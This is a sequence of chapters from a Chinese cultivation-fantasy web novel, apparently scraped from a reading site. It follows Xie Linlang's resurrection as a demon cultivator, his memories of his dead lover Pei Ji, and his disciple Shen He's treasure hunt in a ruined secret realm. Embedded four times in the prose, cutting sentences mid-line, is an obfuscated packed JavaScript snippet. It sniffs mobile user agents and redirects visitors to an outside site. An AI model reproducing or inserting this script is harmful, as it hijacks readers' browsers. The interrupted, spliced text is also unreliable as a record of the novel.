乐清屏的师尊就是在元婴末期、寿岁将近时意外突破到化神期，是以她常年保持老媪的样貌，据说是个看起来慈眉善目的老太太。 谢琳琅微微蹙眉。 原本只是筑基期才能进入的秘境里竟多了这么一位看不清深浅的修士。 阻碍他探查秘境内部的情况还是小事，万一影响他复生就麻烦了。 “……你要不要提醒她一下？” 谢琳琅缓缓道：“秘境内有修为压制，即便他是高位修士，可只要他不想被这片秘境撵走，动用的力量不能超过筑基，你们两人齐心协力，也许还有一二胜算。” 沈鹤摇头又点头：“先送师尊找到复生的魔气源，然后我再去找乐师姐。” 谢琳琅听后心下一暖，他也不矫情：“那我们不要浪费时间，直接深入去秘境内部吧。” 沈鹤低声问：“一路上采摘的材料够师尊恢复后炼丹所用吗？” 谢琳琅复生后修为全无，纵然沈鹤给他提前备了修行的丹药和护身灵器，但沈鹤觉得以谢琳琅的能力，必然打算自己炼制丹药。 谢琳琅语气更温和了：“暂时够了，而且我打算转修家族秘法，对丹药需求没有一般修士多。” 以前谢琳琅觉得《宝树经》抽抽乐过于离谱，只当做辅助功法来修行。 可如今形势比人强，他用魔植炼制的九转返真丹复生，体内天然会生出魔气，不可能再走灵力真修一脉，那不如回归血脉传承，主修《宝树经》。 《宝树经》对丹药需求不高，对清浊二气的属性也没要求，但需求各种各样的天魔之力。 谢琳琅知道自己有个天大的心魔弱点，反而早就有了针对方案，倒是不惧天魔的弱点攻击。 “那就好。” 沈鹤松了口气，他收起存放了各种材料的乾坤袋，又将一个早就准备好的丹炉塞进去，“我知道师尊您嫌弃我的丹炉品质差，但您还是先凑合着用吧，等您修为尽复，您可以找回过去的储藏和洞府，用更好的丹炉……” 谢琳琅无意识地笑了笑。 “你这丹炉的品质的确差，回头等你修为提升、炼丹技术进入大师级了，我送你个更好的丹炉。” 沈鹤爽朗一笑，脑后的马尾翘了翘，轻快而活泼。 “那我就等着依靠师尊了。” 谢琳琅本想说修士只能靠自己，可话到嘴边，往事一幕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谢琳琅沉默了一会才说：“你将黄玉葫芦挂在空心剑上，再将材料、法器和丹药放在乾坤袋里，直接放飞空心剑吧。” 沈鹤一愣：“师尊？” 谢琳琅轻声道：“我还想继续往前，总觉得前面有什么东西在等着我，你我在此分别，之后有缘再见吧。” 沈鹤的声音多了一抹哭腔和不舍。 “师尊，您可是答应要给我一个新丹炉，还要护着我的，一定要回来啊。” 谢琳琅叹了口气。 曾经答应过一定会回来的人再不见踪影，他真说不出一定能回来的话。 沈鹤又想到了郑师兄的欠债理论，赶紧说：“师尊，您用了我父亲留下的玉佩，您可不能欠债不还啊！就算出什么岔子了，也得回来还债才行！” 谢琳琅哭笑不得，没好气地说：“留下东西，你可以滚了。” 沈鹤不得不留下了黄玉葫芦、空心剑和一个乾坤袋，一步三回头。 他拉长语调嚎着，“记得啊，我投资了这么多，您可得回报我啊，否则我亏大了！” 寻亲的玉佩已经没了，万一师尊也没了，那可真是前途黯淡啊。 谢琳琅先是喃喃自语：“裴霁可从不求他人回报。” 继而又笑了，沈鹤是个好孩子，他既然收沈鹤为徒，总要好好教导修行才是。 不过一切都要等他重塑真身后才行。 想到这里，谢琳琅用神识操纵着黄玉葫芦挂在空心剑上，又带了乾坤袋，一剑一葫芦一袋子，直直朝着遗迹深处飞去。 20.第 20 章 紫焕山东边这片遗迹的天地灵力和魔气极为粘稠，最初谢琳琅没什么感觉，可随着他越来越深入，他竟惊觉空气中时不时流淌着一丝黑白二色混杂的液体。 那液体仿佛将空气当做海洋，恣意地徜徉着、流淌着，像是游动或者交缠在一起的游鱼。 看起来安全无害，但若是碰触到任何携带了灵力和魔气的东西，就会快速融入，继而彻底将物体吞噬殆尽，将其转化为精纯的魔气或者灵力。 谢琳琅尽力操纵着空心剑，凭借着幽玄黑莲对魔气的感应，再加上竹心玉魄制成的绣球净化周围越来越诡异的黑白二色液体游鱼，才勉强继续向前飞行。 周围成片的遗迹建筑群出现了大规模的断裂，像是被一巴掌扇过似的，建筑下方坍塌碎石周围，全是一各个三十厘米左右的断桩。 不仅如此，四周的光源也越来越幻灭，像是有什么无形的存在吸收着光一样，视野越来越差。 若非谢琳琅是用神魂观察周围，恐怕早就迎头撞上黑白液体游鱼，继而被游鱼吞噬掉了。 与此同时，仿佛是阴风哀嚎，又好像是某种生物临死前的挣扎惨叫，诡异的声音时断时续，声音越来越大。 谢琳琅迟疑着，准备停在这附近，寻找一处魔气比较旺盛的地方潜修了。 然而直到此刻，谢琳琅才惊觉一件事。 不知何时他栖身的黄玉葫芦……不，是他用黑红玉佩炼制而成的九转返真丹失去了控制！ 这丹药像是被什么吸引似的，裹挟着他的神魂，依旧在试图深入遗迹内部。 谢琳琅悚然一惊，他不断释放神魂之力，想要阻止空心剑继续向前。 但已经迟了，现在已经不是空心剑带着黄玉葫芦向前飞，而是黄玉葫芦拽着空心剑和乾坤袋往前飞了。 谢琳琅苦笑，他就知道事情不会这么顺利。 老天爷让他给沈鹤当随身老爷爷，他当了三个月就打算跑路，估计要遭报应了。 若是以往，谢琳琅可能直接摆了。 毕竟自从裴霁陨落后，谢琳琅就一副得过且过的态度，反而随了道法自然的真谛，修为一路增长，哪怕陨落在天劫下也满不在乎。 可是如今谢琳琅还没弄清楚沈鹤的情况，甚至还欠了沈鹤天大的人情，又找到了一丝裴霁当年陨落的蹊跷之处，他怎么甘心此刻死亡？ “这就是天意如刀吗？” 在他放弃时给他一线生机，在他重新萌生动力时，又冷酷无情地陷他于死地。 谢琳琅深吸一口气，索性直接在此开始复生！ “天地初开，万物混沌，有灵生、魔随诞。” 传说上古天地初开时，清浊二气还未分离，天地一片混沌，有生灵诞生于天地混沌之间。 因为每个生灵的立场不同，为生存、为喜好、为延续等等理由，征战杀伐之举也随之出现，由此出现了七情六欲、爱憎会、求不得等等幽暗深邃之思。 上古魔神遂与天地合道，成天地魔气之精，主人心思变，诡谲莫测。 “汝为劫运所钟，造化莫测之灵。” 任何一个修行者，不分真修和魔修，甚至是妖修，想要得成大道，都必须跨越种种障碍，劫难与气运是每个修士都要面临的难关。 气运姑且不谈，但天劫孕育出了一类特别的生灵，为天魔。 天魔迫使修士直面内心与外在的极限，以魔之存在而维护天地平衡，行清除冗余杂物之举，是亦正亦邪的存在。 “由此而至内外洞明，阴阳相和，仙魔交融，万物归一。” 而当修士迈过天劫和天魔的考验，就将内外洞明，调和阴阳清浊，融合灵力与魔气，重归混沌之力，成仙人之道。 这就是谢琳琅从血脉中得到的《宝树经》的开篇。 其实就是先辈们告诫后辈，咱们这功法虽然比较诡异，但绝对是天地正宗，是通过召唤天魔，主动面对修士劫难，考验自己的身心和实力，从而迈过修行屏障，走上成仙的康庄大道。 至于后辈们召唤了天魔，得到天魔之力后干了什么缺德或者糟心事，那就是个人选择了，反正最后有天劫一波清算。 先辈们给后辈留下了最好的功法，怎么用那就是后辈的事了，和先辈们没关系。 而此刻谢琳琅就打算直接吸收空气中溢散的精纯魔气，运转《宝树经》，以九转返真丹内的鹤骨为根基，重塑真身！ 瞬息间，容纳九转返真丹的黄玉葫芦直接炸开，那一枚晶莹剔透的丹药逐渐扩大，仿佛一颗孕育中的卵，疯狂吸收着周围的力量。 尽管谢琳琅主要吸收魔气，可由于四周魔气和灵力处于交缠状态，他吸收魔气时不可避免地吸收到了部分灵力。 但好在九转返真丹是以渡劫期的鹤妖之骨为主药，妖族同样可以容纳灵力和魔气，只不过若想自如使用二者，必须将之转化为血脉妖力才行。 当然现在谢琳琅顾不得那么多了，随着他疯狂吸收周围的力量，那些黑白二色□□游鱼受到牵引，也纷纷乳燕投林般冲入他的神魂内。 谢琳琅只觉得神魂像是被放在丹炉里的材料，遭到了烈火焚烧。 死人复生，残魂重铸，这本就是逆天而行之事，当然会遇到劫运和磨难。 可是为了等着他的人，为了寻找真相，为了求一个得偿所愿。 他要活下来，不，是他必然成功！ 怀揣着坚如磐石的信念和心态，谢琳琅陷入了半昏迷之中。 九转返真丹缓慢扩大着，渐渐的，一丝微不可查的心跳声突兀出现，如一颗真正的活着的卵。 这枚卵泛着黑白二色，黑色多，白色少，半透明，笔直地向前飞行着，像是受到未知力量的吸引，又像是在寻找千年不曾回归的巢穴，倦鸟归巢，游子魂回。 继而猛地一跳，消失在了空气里。 …… 在这枚卵出现在心跳的瞬间，沈鹤突兀回头，看向秘境东方遗迹位置。 他下意识地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈鹤定睛细看，果然察觉到了端倪，那火焰巨兽没有影子，真的只是一抹残魂，又仿佛是遗留在场地上空的旧日残影。 乐清屏花容失色，似乎失了方寸，她拿出了一把粉色绣扇，打出了两道屏障挡在身前，随即一双妙目看向身侧十二三岁的少年。 哪想到这少年似乎更害怕，他一副瑟缩模样，可怜巴巴地对乐清屏说：“好姐姐，这要如何是好？” 他往后退，“我们要死在一起了吗？” 乐清屏同样身形后撤，微微垂头，她闭上眼，落下几滴泪珠：“姐姐也不知道。” 周围修士见状纷纷感慨这是两个没能力的菜修士中了狗屎运，唯有沈鹤一个激灵，敬畏地看着两个做作的前辈，慢吞吞地向后退。 当他退出人群后，立刻发动宗门传授的基础《夜海生光幻法》，脚底抹油，跑了。 21.第 21 章 春光微醺、春风拂面。 谢琳琅睁开了眼睛，他看着头顶青碧色的帐子，以及上面绣着的银色海棠花纹，猛地回神。 这、这里是…… 谢琳琅一个激灵，立刻坐了起来，继而愣住了。 周围的一切是那么眼熟，这里明明是他在九夏山的居所，位于山门东侧的棠花谷。 九夏山作为仙门大宗，自然有种植培育灵种之地。 棠花谷内有着上好的灵田和各种珍惜灵药，丹师们经常来这里采摘每日炼丹所需的新鲜材料。 谢琳琅身为九夏山水平最高的丹师，索性直接住在了棠花谷深处，那片生长着月海棠和黄杜鹃的小溪边。 此刻春光正好，微风拂面，带来了淡淡的花香，小溪流水潺潺，廊道下种植着几丛碧色竹，更显清幽安静。 就在此时，从前方小溪的下游处传来两个轻快的脚步，在低矮的灌木丛和花丛一阵晃动后，冒出了一个穿着深绿色袍子的人。 那人像是没有看到谢琳琅一样，惊喜地指着小溪边宅子的位置，扭头对身后的人说：“师弟，快看！这里风景真不错，有花有水，周围土地平整，还有些散落的灵田，我们可以在这里建个临时住的谷中小屋，这样你也不用天天往来洞府和棠花谷了。” 随着那绿袍青年大声嚷嚷，很快，另一个穿着青色长衣、面容略显稚嫩的谢琳琅也弯腰从花丛中钻了出来。 那个谢琳琅唇角带笑，他似乎在打量周围的景色，实际上那双漆黑的眼眸里倒映着前方青年的身影。 他温和地说：“师兄真会找地方。”顿了顿，他声音转低，“我很喜欢。” 走在前方的青年正是裴霁。 他那身深绿色的长袍几乎和周围青翠的林色融为一体，由于他上下乱窜观察地貌，很快头上多了几瓣鲜艳的月棠花瓣和黄色的杜鹃花瓣。 “不过这棠花谷毕竟是三长老的管辖范围，要在这里偷偷建一个小屋子，肯定避不开三长老，但没关系，我知道三长老好果酒，咱们去西边翠林山深处，求那化神期的猴儿长老，弄一坛子蓝果酒，三长老肯定睁一只眼闭一只眼，不会妨碍我们的！” 裴霁兴致勃勃地说着，他办事效率极高，在确定这是一处好地方后，就分分钟想出了种种办法，他甚至开始在空地比划，规划布局安排。 “师弟，你要建几间屋子？储存材料和炼丹要一个房间，你修行也需要一个静室，再来……” 裴霁突然凑到一直站在溪边不动的谢琳琅身前，他微微弯腰，又侧脸从下往上看，似乎想要看清谢琳琅微垂眼眸里的光彩。 他声音清朗，带着一点点试探，“总要有我一个房间吧？” 谢琳琅抿嘴笑着，他轻轻嗯了一声：“听师兄的。” 但下一秒，他冷不丁伸手，在裴霁头顶轻轻拂过，取下了粉色、红色以及黄色的花瓣。 谢琳琅轻轻吹走掌心的各色花瓣，微微侧脸，不动声色地说：“师兄还是这么毛躁，不如我们一个房间好了，省的师兄半夜偷偷跑到我的丹房，又摸错丹药，将泻药当醒酒药乱吃。” 裴霁的脸色微红，他猛地后退一步，眼神飘忽，声音讪讪的：“哦，那、那按师弟你的想法来……” 两个青年并肩而行，在溪边花丛间，细细说着对未来居所的畅想。 而谢琳琅倚在廊下，痴痴地看着这一幕，一闭眼，泪水潸然落下。 少年不知愁，真是好啊。 他知道这是哪里了，也知道为什么会想起过去的事了。 生死轮回为天地至理，死而复生是逆天而行，想要真正活过来，首先要让自己的三魂七魄彻底活过来。 这里是他和裴霁畅享的未来居所之地，只可惜等真正建好后，只有他一个人住了进来。 那之后他一直穿黑。 因为那个青涩的、对未来充满着希望的谢琳琅早已随着裴霁消失了。 “我还是想活的，总要……” 谢琳琅的话还未说完，眼前景色大变。 他正在急速飞驰着，周围的景色在快速倒退，天色灰暗，黑云压顶。 就在某一刻，谢琳琅突然察觉到全身剧痛，元婴几乎要被这撕心裂肺的痛震散了。 谢琳琅口喷鲜血，真的从半空掉了下来。 他坠入一片荒草地，眼前发黑，彻底昏死过去。 不知何时，谢琳琅终于恢复了意识，他感觉到无数冰凉的液体坠落在他身上，然而他却完全没有反应。 大雨倾盆，但比起从天坠落的冰冷雨水，谢琳琅的心更冷。 他颤抖着手，从袖中取出了一把通体冰寒的长剑。 那长剑的剑脊上本有两条交缠的红痕，而此刻，那红痕只剩下了一缕，另一缕已经溢散到了剑刃边缘，似乎即将彻底消失。 谢琳琅忍不住又吐了口鲜血。 裴霁是剑修，有一对长剑，合起来叫洞玄，是他们的师祖还未陨落前传给裴霁的、具备可成长性的仙品灵剑。 谢琳琅筑基后拜师，成了裴霁的师弟，那时裴霁已经将洞玄双剑里的洞灵剑炼化完毕，另一把玄魄剑还处于淬炼中。 后来二人定情，裴霁请谢琳琅与他一起炼化玄魄剑。 两人共同将一缕灵力、鲜血和一缕真魂放入玄魄剑内，然后裴霁将玄魄剑送给了谢琳琅。 谢琳琅携带着玄魄剑，就仿佛裴霁时刻在他身边；而裴霁也能遥遥感知到另一把灵剑的大概方位和状态。 如此两人即便分开修行、历练，天涯海角亦挡不住他们相连的心与魂。 可是现在代表裴霁的那一缕灵力和真魂即将消散。 裴霁死了。 在认清这个事实的瞬间，谢琳琅只觉得天旋地转，整个世界都变成了死寂冰冷的冥府之地。 他颤抖着手，死死看着玄魄剑边缘处那一缕即将消散的红痕，终于崩溃了。 他发动了《宝树经》。 “请、请天魔降临……” 下一秒，苍白的世界无限远去，仿佛一滴墨水突兀出现在纯澈的水中，一缕时而混乱、时而纯澈的力量出现在了谢琳琅面前。 天魔无形无相，出现的瞬间就受谢琳琅无穷无尽的贪念吸引。 谢琳琅无视裴霁的死，贪求裴霁的活。 欲取之、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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随着卵中的心跳声越来越健壮，在某个瞬间，卵的外壳突兀裂了一道缝。 谢琳琅猛地抬脚，踹开了身前看似薄软、实则极为坚硬的蛋壳。 他的身体歪在破损的蛋壳边缘，与诸多蛋液流落出来。 谢琳琅大口大口喘着气，他勉力掐了个法诀，蛋壳内流淌的液体立刻化为浓郁的妖魔之气冲入他的体内。 不过几个呼吸间，他就再度踏入了炼气期。 当年谢琳琅十三岁开始修行，进入炼气期，所以复生后他的面容维持在了十三岁时的少年模样。 但随着谢琳琅的修为逐渐攀升，当他彻底消化了蛋壳内的力量后，他的修为固定在了炼气八层，也就是他十五岁那一年。 谢琳琅微喘着气，他顾不得查看自身情况，而是发出了低低的笑声。 继而这笑声变大，尽情抒发着心中的喜悦。 他活过来了。 22.第 22 章 沈鹤行走在一片废弃的灵田内。 灵田里光秃秃的，残存的种苗和布置在下方的灵石早已被人取走，甚至灵田内还有些灵力的土壤都被人刮走了一层。 与其说这里是灵田，不如说是一块干涸的空地。 外围的篱笆上镶嵌灵石的位置已经松脱，甚至看不出最初的阵法结构。 沈鹤进入了灵田旁边的仓房。 仓房里有一套破损的桌椅，旁边还有柜子，柜门大开，里面空荡荡的，倒是桌子上还零落放着几个玉简。 沈鹤正想去看看玉简里有什么资料，突然觉得不对劲。 灵田这边的防护阵法早已失效，为什么整个房间如此干净？ 是前面来过其他修士了？那怎么还会有玉简留下？ 下一秒，沈鹤起手一抹青翠，翠玉剑直接在身前化为一道屏障，同时身体平平向门口方向飞去。 就在他发动的一秒后，一个气急败坏的声音响起。 “拦住他！” 门口浮现出了三缕金色符文，符文交织成了一张网络，似乎封锁了出去的通路。 沈鹤直直撞在了网上，身体凝固了一瞬，但他直接滞空，同时反手拍出了黑骨钟。 嗡—— 本来已经追击到他身后的敌人骤然遭到如此近距离的音波攻击，冲来的身影顿时卡顿了，而暗中操纵三道金色符文的修士也闷哼了一声。 趁此机会，沈鹤反手掐剑诀，翠玉剑如灵动的小蛇，不进反退，竟擦着他的胳膊肘向后刺出！ 这一招声东击西用的非常漂亮，背后的偷袭者只觉得眼前绿影一闪，眼瞅着要命丧利刃之下，偷袭者身上冒出了一枚精致的玉佩。 那玉佩散发出莹莹白光，挡住了沈鹤这一击。 沈鹤见状学着谢琳琅那样，反手抓住黑骨钟，骨钟迎风而长，变成了一个超大的棒槌。 沈鹤双手握住骨钟顶部的环扣，猛地扇向背后那个莹莹白光罩子。 咣当—— 下一秒，沈鹤连罩子带里面的偷袭者，一起砸到了旁边的墙壁，继而墙壁发出震耳欲聋的坍塌声。 另一个修士似乎吓住了，惊呼一声王师兄。 而沈鹤趁此机会身剑合一，一边用黑骨钟挡在背后，防止被偷袭，一边沿着破损的墙壁缝隙，嗖一下消失了。 连着快速掠过好几片废弃建筑，沈鹤才放缓速度。 他确定没人追过来后，苦笑着从怀里拿出一瓶补充魔气的聚气丹。 眼前有个三层小楼，小楼前坍塌着一大片假山，假山周围还生长着茂密的林木，像是休闲观景的地方。 沈鹤索性钻到假山里，布置了一个防护阵法后快速用聚气丹恢复实力。 大约半小时，沈鹤恢复如初。 他收起阵法，正要抬步离开假山，突然灵觉一动，觉得周围有人。 沈鹤立刻发动幻光法藏了起来。 稍等了几分钟，他看到了一个有些眼熟的修士从墙头落下来，同时还有一只麻雀凑到修士身前叽叽喳喳。 沈鹤眉梢微动，是之前教他如何与禽妖相处的张道友。 张道友似乎在找什么，进入这片假山和小楼区域后没有立刻行动，而是左右张望了一会，又操纵着小麻雀在天上探查位置。 沈鹤注意到那麻雀在假山上空盘旋，心中一动，难道张道友在找他？ 想到这里，沈鹤掐着剑诀，做好了随时战斗的准备，才一个闪身，出现在张修士不远处。 “张道友？” “啊，沈道友！” 张修士见到沈鹤目带怀疑地看着自己，顿时明白自己早就暴露了，不由得讪讪。 “抱、抱歉，我、我刚才看到你被人伏击了，我……我不是来捡便宜的，你很厉害。” 他抬手召回自己的麻雀，像是有些不好意思，又有点尴尬。 “我知道这里有一处隐蔽的藏宝之地，但以我一个人的实力进不去，不知道沈道友是否有兴趣？” 沈鹤若有所思，他之前和张修士聊过，这张修士性格内敛，不爱说话，但谈到驯养灵宠时就会滔滔不绝，似乎不擅长与他人沟通。 他正好要等玉佩师尊复生，又想避开乐师姐和那个少年，自己孤身一人还容易遭到伏击，若是能和张道友同行…… 沈鹤的目光落在了张修士肩膀上停留的小麻雀。 最起码有着雀妖帮忙侦查，可以提前避开危机和麻烦。 想到这里，沈鹤就笑着说：“张道友客气了，我很有兴趣，还请详细说来听听。” 这张修士名叫张思则，是韩城张家子弟。 沈鹤并不知道韩城在哪里，反正张家似乎是修士世家，张思则是家中不起眼的一个成员。 虽然出身在这样的世家可以轻易踏入修行，但家族资源有限，除非天赋超凡脱俗，否则大部分家族子弟在筑基后都要外出自己寻找机缘。 “我曾得到了一份传承，在照料驯养灵兽上有些心得。” 张思则说到这里，原本紧张和忐忑的神情稍微舒缓，露出了细小的笑容，多了几分可亲的感觉。 他对着肩膀伸手，站在肩膀上的麻雀轻盈跳到他的掌心里，轻轻啄了一下张思则的手心。 他又道：“我经过多番调查，确定了紫焕山小秘境内存在上古宗门驯养灵兽的秘术，但那里有妖兽之灵防护，单凭我一个人根本进不去……” 沈鹤听到这里有些不解：“以道友和驯养灵兽之力，竟无法击败妖兽之灵吗？难道它是元婴修为？那不管请多少道友帮忙都无济于事吧？” 张思则吭哧了许久，才低声道：“我自有办法让那妖灵不攻击我，但我需要有人在外面牵制妖灵，我本来驯养了小黑，就是你见过的青焰豹，可是……” 可他心疼自己的豹子，而且妖兽总不及修士反应迅速、灵活应对。 沈鹤莞尔，他能理解张思则的想法，倒也没有说什么，只是直白地问：“我能得到什么？” 张思则面色微喜，他快速道：“平分，所有东西、我是说功法、秘术什么的，我们各自复写一份，至于一次性的丹药，我们对半分，如何？” 沈鹤爽快答应了：“好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519796|169554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张思则不由得松了口气，两人遂结伴同行，朝着秘境东边靠南的方向赶去。 根据张思则的说法，秘境东边这片废弃建筑绵延范围非常宽广，甚至越向东越迷乱，还会出现空间裂缝，入者必死。 但既然有空间裂缝，就说明越向东、空间越不稳定，也越容易将曾经藏匿在须弥芥子里的小空间暴露出来。 张思则就有这么一个像是身份铭牌一样的长方形玉片。 那玉片通体纯白，上面勾勒出了九道阴文，似乎是芥子空间的钥匙。 “那个位置在一处地下岩洞，使用钥匙进去后是一个长而漆黑的廊道，然后是个宽敞的空间，那妖兽之灵就守在中庭内，到时候劳烦道友引走妖兽之灵，我趁机冲进去搜刮东西。” 张思则的计划非常简单，“随后咱们各自逃逸，再到汇合点集合。” 沈鹤提出异议：“你拿着东西跑了怎么办？” 张思则早就想好了，他有些不舍地将一个驯兽袋交给了沈鹤，“我将小黑先放在你这里，到时候可以让小黑带着你来找我。” 这青焰豹是筑基初期的妖兽，若张思则跑路，豹子自然归沈鹤，也不会有太大损失。 沈鹤收起驯兽袋，打听妖兽之灵。 “那是什么？妖兽的残魂吗？” “是，也不是。”张思则的语气有些迟疑，但还是细细解释，“是一种特殊的抽取秘术，可以将妖兽的妖力、血脉之力甚至是天赋神通抽取出来，再以妖兽的神魂为粘合剂，炼化成修士的第二魂，有点类似身外化身之术。” 沈鹤冷不丁想到之前乐清屏和那少年面对的金色妖兽影子，轻声道：“之前我曾见到有修士被困在一个斗兽台上……” “那只算是半吊子。” 张思则似乎对此很有研究，“吸收炼化一个妖兽之灵可以大幅度提升修士的力量，还能获得妖族的天赋血脉和神通，自然需要仔细对比妖兽的力量，就有了斗兽台。” “那台子上有特殊术法，可以将妖兽的天赋短暂地摹刻到一个傀儡上，通过两个妖兽傀儡的战斗，来选拔最强大的妖兽。” 张思则的语气里充满了渴求和羡慕，“传说中最强大的修士可以炼化九个妖兽之灵，将上古妖族血脉神通融为一体，无人能敌，真是令人畅享啊。” 沈鹤听到这里，心头突兀一沉。 抽取妖兽的血脉神通？九个妖兽之灵？等等，之前玉佩师尊说什么来着？ 九灵宗有上古秘方，能炼化妖兽神魂和血脉之力为九灵图腾，是个实力不错的中等仙门大派。 以及最重要的是，九灵宗被寂夜宫的寂夜魔君，也就是沈鹤所在宗门的老祖宗给灭了。 一瞬间，沈鹤后背冷汗直冒。 张思则难道得了九灵宗传承？ 恍惚间，沈鹤想起了宗门大课时，门中长老絮絮叨叨说过的话。 “……出门在外，除非有把握面对各方围杀，最好不要将宗门和自己师父的名号说出去。” “因为你不知道自己选的师父是否有业障和霉运牵累到你。” 23.第 23 章 宗门长辈的大课上得很值啊！ 沈鹤捋清楚后内心几乎是崩溃的，他几乎立刻飞速回忆，他之前是怎么向张思则做自我介绍的。 他说自己是散修。 天啊是散修真是太好了！ 散修沈鹤，唔，记得这个教训，之后要起个假名，就请庞师兄替他多担待一些了，他是散修沈三鲜！！ 沈鹤越发小心掩盖自己出身，他打着伺候师尊暴躁脾气的妖兽为由，开始小心打探张思则的出身和传承。 …… 另一边，谢琳琅发泄了心中的喜悦，冷静后盘膝坐下来。 他将修为堪堪停在炼气八层后就停下来了。 虽然是重修，可他的身体刚诞生，需要时间和力量不断淬炼，欲速则不达。 谢琳琅环视四周，入目一片漆黑，隐隐约约能看到墙壁和洞顶，这里似乎是一个山洞深处。 墙壁周围蜿蜒缠绕着一些枯木树枝，树枝上有细密如鳞片的纹理，整体是深紫色，偶尔会有妖力如流水般一闪而过，像是漆黑地矿里散发荧光的磷石。 谢琳琅小心翼翼地探查了一下，暂时没发现什么危险，索性没有立刻离开，而是找出了之前空心剑上挂着的乾坤袋。 既然空心剑和黄玉葫芦带着他来到这里复生，而他也成功活过来了，说明这里应该没危险，不如先做好准备再深入探索。 谢琳琅先找出一套沈鹤放入其中的黑色长袖上衣和长裤，他换上后缠好了绑腿，系好巴掌宽的黑色绣暗纹腰带，又找到了一件黑色外罩长袍。 谢琳琅有些诧异，以他对沈鹤的了解，沈鹤是不会穿这样行动不便的袍子。 但自己穿倒是正好。 他穿上外袍，将对襟开的宽大袍子系上玉带环扣，长袍衣襟两侧滚边顺着下来的黑色流苏轻轻晃动着，像是沈鹤那乱晃的马尾辫。 谢琳琅注意到了衣襟边的装饰，不自觉地轻笑了一声。 换好衣服，谢琳琅抬手理了理黑色长发。 也许是以鹤妖和魔气为复生之基，比起过去，谢琳琅的长发更长更黑，宛如鹤妖那宽大华美的黑色翎羽，泛着动人的五彩流光。 谢琳琅微微蹙眉，他在乾坤袋里翻了翻，找出了之前让沈鹤兑换出来的九枝榕。 这九枝榕是一种天地异种，每一根撕裂的榕枝可以单独发芽、也可以重新与主根相连，非常适合炼制双生类法器。 想到双生法器，谢琳琅不自禁想到了裴霁那对洞灵剑，他心下叹息，神色微黯。 裴霁死亡后，洞灵双剑中的洞玄不知所踪。 玄魄剑虽然在谢琳琅手中，还被谢琳琅当做储存天魔、展示裴霁面容的衣架子，可在谢琳琅渡天劫时，玄魄剑被天魔劈成了碎片。 谢琳琅好歹是宗门里被称为丹王存在的丹道大师，手中有很多好东西。 他在渡劫前觉得此关难过，索性将大部分东西都分给了宗门师兄师姐以及各方好友。 但还有一部分东西遗留在了他的小空间芥子境了。 他的芥子境连着玄魄剑的剑柄，现在玄魄剑碎得不知所踪，也不知道他的芥子境怎么样了。 就在谢琳琅发呆思考着芥子境时，不知不觉间，他手中的九枝榕已经在魔气的炼化下回归了最原始的样貌，是一根细分九丝的榕枝。 谢琳琅定定地看着九枝榕的枝叶，半晌，他手指微动，一点点细细编成了如意结的样子。 “修士总要称心如意，否则我们干嘛修行呢？” 恍惚间，谢琳琅耳边又想起了裴霁爽朗的笑声。 是啊，他都复生了，总要称心如意。 很快，一根墨绿色的如意绳出现在谢琳琅手中，他用如意绳将鬓边发丝编成长辫，然后扎在了脑后。 如此他长发披肩，额前落下些许黑色发丝，但鬓边不会再落下长发影响他炼丹或者斗法。 谢琳琅收拾好自己后，抬手一点，黑紫色的灵力化为一面镜子，映照出了镜子里的少年面容。 谢琳琅一愣。 镜中人的面容能看出谢琳琅过去的轮廓和样貌，五官与骨架也没什么变化，但对比过去清寂漠然的仙家缥缈气质，竟多了一抹难以形容的妖异感。 他的眉形更加纤细优雅，眼眸黑如点漆，鼻骨挺拔，唇如丹朱，面色白如雪中鹤，尤其是眉心一点朱砂，竟如鹤顶丹红般艳丽。 谢琳琅略一思考就明白了原因。 他以前是真修，灵力浸润下自然气质如仙。 如今他转魔修，更以渡劫期的大妖真灵骨为复生根基，还打算主修召唤炼化天魔的宝树经，身上自然而然会带有一丝妖魔诡惑之感。 谢琳琅想了想，他回忆沈鹤修行的寂夜宫《夜海生光幻法》，很快，他将身上那种妖异感压了下去，同时修正了一下面部骨架，让自己显得普普通通起来。 ……啊呀，不能让人认出他是琳琅道君呢。 谢琳琅想到自己陨落前打着炼制丹药的名义，从各大仙门那借来的种种天材地宝，眼神有些飘忽。 那是谢琳琅欠下的债，和他谢玉有什么关系呢？ 谢琳琅又拿出空心剑，这空心剑的材料是用幽玄黑莲的莲藕炼制而成。 谢琳琅很清楚一把灵剑要如何炼制，又要如何拆解，他轻松将幽玄黑莲内部的塑形符文抹掉，将藕色长剑重新变回莲藕形态。 莲藕共三截，谢琳琅掌心凝聚出一点半透明的火焰。 这是他吞噬并淬炼了诸多天魔后，炼制的一点点天魔幻火。 火焰带着天魔特性，甚至能侵入修士神魂深处，使阴魔降临，噩梦产生、鬼气入体。 此刻谢琳琅刚复生，还没收集天地灵火，只能用这种不适配的火焰撩一下手里的材料。 很快，三截莲藕上出现丝丝裂痕，很快莲藕像是融化了一样，与其说是一滩水，不如说是无数黏在一起的藕丝。 藕断丝尚连，这幽冥莲藕最重要的特性是柔韧不断，连绵不绝。 